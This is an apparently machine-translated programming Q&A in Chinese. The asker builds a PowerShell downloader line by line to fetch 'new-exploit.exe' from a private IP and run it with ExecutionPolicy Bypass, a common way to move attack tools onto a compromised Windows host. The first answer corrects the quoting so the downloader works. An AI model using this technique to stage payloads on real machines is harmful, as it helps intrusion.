以下是我从远程机器下载文件的powershell脚本:
Powershell控制台:
C:\Users\XXX> echo $storageDir = $pwd > wget.ps1
C:\Users\XXX> echo $webclient = New-Object System.Net.WebClient >> wget.ps1
C:\Users\XXX> echo $url = "http://172.16.3.89/new-exploit.exe" >> wget.ps1
C:\Users\XXX> echo $file = "new-exploit.exe" >> wget.ps1
C:\Users\XXX> echo $webclient.DownloadFile($url,$file) >> wget.ps1
最后一行给出以下错误:
输出:
You cannot call a method on a null-valued expression.
At line:1 char:29
* echo $webclient.DownloadFile <<<<< ($url,$file) >> wget.ps1
*CategoryInfo : InvalidOperation: (DownloadFile:String [], RuntimeException
*FullyQualifiedErrorId : InvokeMethodOnNull
如果我处理最后一行,我可以使用以下命令在powershell中下载文件:
Powershell控制台:
C:\Users\XXX> powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -
NoProfile -File wget.ps1
如何解决$ webclient“null-valued表达式”问题?你有什么想法吗?
答案 0 :(得分:1)
您不是在输出文件中按原样编写行,它们正在被解释和执行。
例如,第1行写入wget.ps1
3件事:变量$storageDir
的值,等号和变量$pwd
的值。指示的空值表达式是$webclient
变量,当您执行第5行时,它确实被计算为null。
为了达到你的意思,你应该把每一行的内容单引号:
echo '$storageDir = $pwd' > wget.ps1
echo '$webclient = New-Object System.Net.WebClient' >> wget.ps1
echo '$url = "http://172.16.3.89/new-exploit.exe"' >> wget.ps1
echo '$file = "new-exploit.exe"' >> wget.ps1
echo '$webclient.DownloadFile($url,$file)' >> wget.ps1
答案 1 :(得分:0)
我真的不明白你想要做什么但是为了下载文件你可以使用这个片段作为参考:
$downloadPath = "http://ipv4.download.thinkbroadband.com/5MB.zip"
$storageDir = "$PSScriptRoot\5mb.zip"
(New-Object System.Net.WebClient).DownloadFile($downloadPath, $storageDir)
来源: https://blog.jourdant.me/post/3-ways-to-download-files-with-powershell
希望这有帮助!
格尔茨